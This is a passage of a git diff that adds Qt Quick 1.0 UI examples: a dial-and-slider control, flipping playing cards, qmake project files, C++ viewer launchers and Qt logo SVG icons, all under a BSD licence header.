+++ b/examples/declarative/ui-components/dialcontrol/qml/dialcontrol/dialcontrol.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [imports]
+import QtQuick 1.0
+import "content"
+//! [imports]
+
+//! [0]
+Rectangle {
+ color: "#545454"
+ width: 300; height: 300
+
+ // Dial with a slider to adjust it
+ Dial {
+ id: dial
+ anchors.centerIn: parent
+ value: slider.x * 100 / (container.width - 34)
+ }
+
+ Rectangle {
+ id: container
+ anchors { bottom: parent.bottom; left: parent.left
+ right: parent.right; leftMargin: 20; rightMargin: 20
+ bottomMargin: 10
+ }
+ height: 16
+
+ radius: 8
+ opacity: 0.7
+ smooth: true
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "gray" }
+ GradientStop { position: 1.0; color: "white" }
+ }
+
+ Rectangle {
+ id: slider
+ x: 1; y: 1; width: 30; height: 14
+ radius: 6
+ smooth: true
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#424242" }
+ GradientStop { position: 1.0; color: "black" }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ anchors.margins: -16 // Increase mouse area a lot outside the slider
+ drag.target: parent; drag.axis: Drag.XAxis
+ drag.minimumX: 2; drag.maximumX: container.width - 32
+ }
+ }
+ }
+ QuitButton {
+ anchors.right: parent.right
+ anchors.top: parent.top
+ anchors.margins: 10
+ }
+}
+//! [0]
diff --git a/examples/declarative/ui-components/flipable/flipable.png b/examples/declarative/ui-components/flipable/flipable.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/flipable.png
Binary files differ
diff --git a/examples/declarative/ui-components/flipable/flipable.pro b/examples/declarative/ui-components/flipable/flipable.pro
new file mode 100644
index 00000000..7e6e3395
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/flipable.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/flipable
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE31D80B6
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/flipable
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/flipable/flipable.qmlproject b/examples/declarative/ui-components/flipable/flipable.qmlproject
new file mode 100644
index 00000000..246d7a50
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/flipable.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/flipable"
+ }
+ JavaScriptFiles {
+ directory: "qml/flipable"
+ }
+ ImageFiles {
+ directory: "qml/flipable"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/flipable/flipable.svg b/examples/declarative/ui-components/flipable/flipable.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/flipable.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/ui-components/flipable/main.cpp b/examples/declarative/ui-components/flipable/main.cpp
new file mode 100644
index 00000000..50855dbb
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/flipable/flipable.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/flipable/qml/flipable/content/5_heart.png b/examples/declarative/ui-components/flipable/qml/flipable/content/5_heart.png
new file mode 100644
index 00000000..fb59d814
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/qml/flipable/content/5_heart.png
Binary files differ
diff --git a/examples/declarative/ui-components/flipable/qml/flipable/content/9_club.png b/examples/declarative/ui-components/flipable/qml/flipable/content/9_club.png
new file mode 100644
index 00000000..25450019
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/qml/flipable/content/9_club.png
Binary files differ
diff --git a/examples/declarative/ui-components/flipable/qml/flipable/content/Card.qml b/examples/declarative/ui-components/flipable/qml/flipable/content/Card.qml
new file mode 100644
index 00000000..43d1bfd8
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/qml/flipable/content/Card.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Flipable {
+ id: container
+
+ property alias image: frontImage.source
+ property bool flipped: true
+ property int xAxis: 0
+ property int yAxis: 0
+ property int angle: 0
+
+ width: front.width; height: front.height
+
+ front: Image { id: frontImage; smooth: true }
+ back: Image { source: "back.png"; smooth: true }
+
+ state: "back"
+
+ MouseArea { anchors.fill: parent; onClicked: container.flipped = !container.flipped }
+
+ transform: Rotation {
+ id: rotation; origin.x: container.width / 2; origin.y: container.height / 2
+ axis.x: container.xAxis; axis.y: container.yAxis; axis.z: 0
+ }
+
+ states: State {
+ name: "back"; when: container.flipped
+ PropertyChanges { target: rotation; angle: container.angle }
+ }
+
+ transitions: Transition {
+ ParallelAnimation {
+ NumberAnimation { target: rotation; properties: "angle"; duration: 600 }
+ SequentialAnimation {
+ NumberAnimation { target: container; property: "scale"; to: 0.75; duration: 300 }
+ NumberAnimation { target: container; property: "scale"; to: 1.0; duration: 300 }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/ui-components/flipable/qml/flipable/content/back.png b/examples/declarative/ui-components/flipable/qml/flipable/content/back.png
new file mode 100644
index 00000000..f715d748
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/qml/flipable/content/back.png
Binary files differ
diff --git a/examples/declarative/ui-components/flipable/qml/flipable/flipable.qml b/examples/declarative/ui-components/flipable/qml/flipable/flipable.qml
new file mode 100644
index 00000000..2fd65f80
--- /dev/null
+++ b/examples/declarative/ui-components/flipable/qml/flipable/flipable.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "content"
+
+Rectangle {
+ id: window
+
+ width: 480; height: 320
+ color: "darkgreen"
+
+ Row {
+ anchors.centerIn: parent; spacing: 30
+ Card { image: "content/9_club.png"; angle: 180; yAxis: 1 }
+ Card { image: "content/5_heart.png"; angle: 540; xAxis: 1 }
+ }
+}
diff --git a/examples/declarative/ui-components/main/main.cpp b/examples/declarative/ui-components/main/main.cpp
new file mode 100644
index 00000000..925abc18
--- /dev/null
+++ b/examples/declarative/ui-components/main/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationLockLandscape);
+ viewer.setMainQmlFile(QLatin1String("qml/main/main.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/ui-components/main/main.png b/examples/declarative/ui-components/main/main.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/ui-components/main/main.png
Binary files differ
diff --git a/examples/declarative/ui-components/main/main.pro b/examples/declarative/ui-components/main/main.pro
new file mode 100644
index 00000000..a844bbb2
--- /dev/null
+++ b/examples/declarative/ui-components/main/main.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/main
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE647B679
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/ui-components/main
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/ui-components/main/main.qmlproject b/examples/declarative/ui-components/main/main.qmlproject
new file mode 100644
index 00000000..91ddfd4d
--- /dev/null
+++ b/examples/declarative/ui-components/main/main.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/main"
+ }
+ JavaScriptFiles {
+ directory: "qml/main"
+ }
+ ImageFiles {
+ directory: "qml/main"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/ui-components/main/main.svg b/examples/declarative/ui-components/main/main.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/ui-components/main/main.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
